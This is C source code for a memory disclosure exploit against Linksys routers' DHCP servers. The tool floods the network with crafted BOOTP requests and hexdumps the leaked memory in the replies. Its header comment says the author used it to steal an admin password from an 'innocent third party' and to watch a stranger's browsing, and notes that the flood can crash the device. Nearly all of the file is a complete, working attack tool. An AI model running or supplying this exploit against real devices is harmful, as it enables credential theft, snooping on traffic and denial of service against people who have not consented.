/* * * Apparently Linksys devices that have a DHCP server on them * don't properly handle BOOTP packets. Instead of returning * legitimate BOOTP responses, they return BOOTP responses with * the BOOTP fields filled in with portions of memory. This * allows you to do cool things like the equivalent of sniffing * all the traffic to/from the device. * * To the best of my knowledge, this only allows you to read * traffic that was recently sent to/from the linksys device * (on any of its ports if its a hub/switch). I have successfully * used this technique to steal the admin username and password * from an innocent third party who recently configured the device, * and I watched someone's traffic as they browsed ebay for a new * Ti-Book. In a number of cases, after sufficient packets were sent, * the device stopped routing packets and would only continue working * again after a power cycle. * * You won't always get memory on the first packet, so try * sending many packets. Even if you do get portions of memory, * you'll only get something interesting if the linksys device was * recently active. * * If you try the payload option, you can see that canary value in * BOOTP reply packets -- not necessarily right away, but eventually. * This usually appears in the BOOTP vendor specific options field, * typically right at the very beginning. * * Tested on a fully updated Linksys BEFSR41 and BEFW11S4, but * will likely work on all Linksys devices that have a DHCP * server. Currently, this looks to include at least the BEFN2PS4, * BEFSR41, BEFSR81, BEFSX41, RV082, BEFCMU10, BEFSR11, BEFSR41W, * BEFSRU31, BEFVP41, WRT55AG, WRV54G, WRT51AB * * * Requires libnet (1.1.x) and libpcap * * Compile with something like: * * gcc -Wall -I/usr/include `libnet-config --defines --cflags` \ * -o linksys-dhcp-exploit linksys-dhcp-exploit.c `libnet-config --libs` -lpcap * * * Jon Hart * * This code can be found in its original, unmolested form here: * * http://spoofed.org/files/linksys-dhcp-exploit.c * * * Copyright (c) 2004, Jon Hart * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the organization nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #if (SOLARIS || BSD) #include #else #include #endif #define HEXDUMP_BYTES_PER_LINE 16 #define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2) #define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */ #define HEXDUMP_HEXSTUFF_PER_LINE \ (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE) void ascii_print_with_offset(register const u_char *cp, register u_int length); void usage(); void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet); int main(int argc, char *argv[]) { int c, time = 5, dump = 0, count = 0; libnet_t *libnet; struct libnet_stats stats_libnet; libnet_ptag_t ether, ipv4, udp, bootp; struct libnet_ether_addr *src_ether; pcap_t *pcap; struct pcap_stat stats_pcap; struct bpf_program filter; char filter_exp[] = "src port 67 and dst port 68"; bpf_u_int32 mask, net; char errbuf[LIBNET_ERRBUF_SIZE]; char *interface = NULL; char *payload = NULL; u_char bcast_ether[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; while ((c = getopt(argc, argv, "c:i:p:s:X")) != EOF) { switch (c) { case 'c': count = atoi(optarg); break; case 'i': interface = optarg; break; case 'p': payload = optarg; break; case 's': time = atoi(optarg); break; case 'X': dump = 1; break; default: usage(); return(1); } } if (interface == NULL) { fprintf(stderr, "Please specify an interface\n"); usage(); return(1); } if ((libnet = libnet_init(LIBNET_LINK, interface, errbuf)) == NULL) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); return(1); } if ((src_ether = libnet_get_hwaddr(libnet)) == NULL) { fprintf(stderr, "Couldn't determine src ethernet: %s\n", errbuf); libnet_destroy(libnet); return(1); } memset(&stats_libnet, 0, sizeof(struct libnet_stats)); libnet_seed_prand(libnet); if ((pcap = pcap_open_live(interface, BUFSIZ, 0, 5000, errbuf)) == NULL) { fprintf(stderr, "pcap_open_live() failed: %s\n", errbuf); libnet_destroy(libnet); return(1); } if (pcap_lookupnet(interface, &net, &mask, errbuf) == -1) { fprintf(stderr, "pcap_lookupnet() failed: %s\n", errbuf); libnet_destroy(libnet); pcap_close(pcap); return(1); } if (pcap_compile(pcap, &filter, filter_exp, 0, net) == -1) { fprintf(stderr, "pcap_compile() failed: %s\n", pcap_geterr(pcap)); libnet_destroy(libnet); pcap_close(pcap); } if (pcap_setfilter(pcap, &filter) == -1) { fprintf(stderr, "pcap_setfilter() failed: %s\n", pcap_geterr(pcap)); libnet_destroy(libnet); pcap_freecode(&filter); pcap_close(pcap); } memset(&stats_pcap, 0, sizeof(struct pcap_stat)); /* If we want to tack some "payload" into the BOOTP packet, * we must do it here before the bootp stuff is built */ if (!(payload == NULL)) { libnet_build_data((u_char *) payload, strlen(payload), libnet, 0); } /* The device seems to croak on the simplest of BOOTP packets, * so lets do that, shall we */ bootp = libnet_build_bootpv4( LIBNET_DHCP_REQUEST, 1, ETHER_ADDR_LEN, 0, libnet_get_prand(LIBNET_PR32), 0, 0x8000, 0, 0, 0, 0, src_ether->ether_addr_octet, NULL, NULL, NULL, 0, libnet, 0); if (bootp == -1) { fprintf(stderr, "Can't build bootp: %s\n", libnet_geterror(libnet)); goto die; } udp = libnet_build_udp( 68, 67, LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)), 0, NULL, 0, libnet, 0); if (udp == -1) { fprintf(stderr, "Can't build udp: %s\n", libnet_geterror(libnet)); goto die; } ipv4 = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)), 0, libnet_get_prand(LIBNET_PR16), IP_DF, libnet_get_prand(LIBNET_PR8), IPPROTO_UDP, 0, inet_addr("0.0.0.0"), inet_addr("255.255.255.255"), NULL, 0, libnet, 0); if (ipv4 == -1) { fprintf(stderr, "Can't build ipv4: %s\n", libnet_geterror(libnet)); goto die; } ether = libnet_autobuild_ethernet(bcast_ether, ETHERTYPE_IP, libnet); if (ether == -1) { fprintf(stderr, "Can't build ethernet: %s\n", libnet_geterror(libnet)); goto die; } if (count == 0) { for(;;) { libnet_write(libnet); if (dump) { if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) { pcap_perror(pcap, "Error: "); } } sleep(time); } } else { for (c = 0; c < count; c++) { libnet_write(libnet); if (dump) { if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) { pcap_perror(pcap, "Error: "); } } if (!(c + 1 == count)) { sleep(time); } } } libnet_stats(libnet, &stats_libnet); if (pcap_stats(pcap, &stats_pcap) == -1) { fprintf(stderr, "pcap_stats() failed: %s\n", pcap_geterr(pcap)); } else { fprintf(stderr, "\nSent: %lld Received: %d Dropped: %d\n", stats_libnet.packets_sent, stats_pcap.ps_recv, stats_pcap.ps_drop); } goto die; die: libnet_destroy(libnet); pcap_freecode(&filter); pcap_close(pcap); return(0); } /* Borrowed from tcpdump */ void ascii_print_with_offset(register const u_char *cp, register u_int length) { register u_int i, oset = 0; register int s1, s2, chr = 0; register int nshorts; char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp; char asciistuff[HEXDUMP_BYTES_PER_LINE+1], *asp; char *ascii_color = "01;32"; nshorts = length / sizeof(u_short); i = 0; hsp = hexstuff; asp = asciistuff; while (--nshorts >= 0) { s1 = *cp++; s2 = *cp++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x%02x", s1, s2); hsp += HEXDUMP_HEXSTUFF_PER_SHORT; *(asp++) = s1; *(asp++) = s2; if (++i >= HEXDUMP_SHORTS_PER_LINE) { *hsp = *asp = '\0'; (void)printf("\n0x%04x\t%-*s ", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff); for (chr = 0; chr < sizeof(asciistuff) - 1; chr++) { if (isprint(asciistuff[chr])) { (void)printf("\33[%sm", ascii_color); (void)printf("%c", asciistuff[chr]); fputs("\33[00m", stdout); } else { (void)printf("."); } } i = 0; hsp = hexstuff; asp = asciistuff; oset += HEXDUMP_BYTES_PER_LINE; } } if (length & 1) { s1 = *cp++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x", s1); hsp += 3; *(asp++) = s1; ++i; } if (i > 0) { *hsp = *asp = '\0'; (void)printf("\n0x%04x\t%-*s ", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff); for (chr = 0; chr < sizeof(asciistuff) - 1 && asciistuff[chr] != '\0'; chr++) { if (isgraph(asciistuff[chr])) { (void)printf("\33[%sm", ascii_color); (void)printf("%c", asciistuff[chr]); fputs("\33[00m", stdout); } else { (void)printf("."); } } } } void usage() { fprintf(stderr, "\tLinksys dhcp memory disclosure exploit\n"); fprintf(stderr, "\tby Jon Hart \n"); fprintf(stderr, "\thttp://spoofed.org/files/linksys-dhcp-exploit.c"); fprintf(stderr, "\n\n\tUsage:\n"); fprintf(stderr, "\t\t-c count # number of packets to send\n"); fprintf(stderr, "\t\t-i interface # interface to send packets to\n"); fprintf(stderr, "\t\t-p payload # payload to put in the bootp packet\n"); fprintf(stderr, "\t\t-s seconds # (optional) seconds to sleep between packets\n"); fprintf(stderr, "\t\t-X # dump captured data\n"); fprintf(stderr, "\n\n"); } void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet) { struct ether_header *ether = (struct ether_header *) packet; struct iphdr *ip; u_int jump = 0; if (ntohs(ether->ether_type) != ETHERTYPE_IP) { return; } /* Jump past the ethernet header */ jump += LIBNET_ETH_H; ip = (struct iphdr *)(packet + jump); /* Jump past the IP header */ jump += ip->ihl * 4; /* Jump past the UDP header */ jump += LIBNET_UDP_H; /* Now print out the UDP data, which is just the BOOTP portion of * the packet. This should contain the interesting data. */ ascii_print_with_offset(packet + jump, packet_header->caplen - jump); printf("\n"); }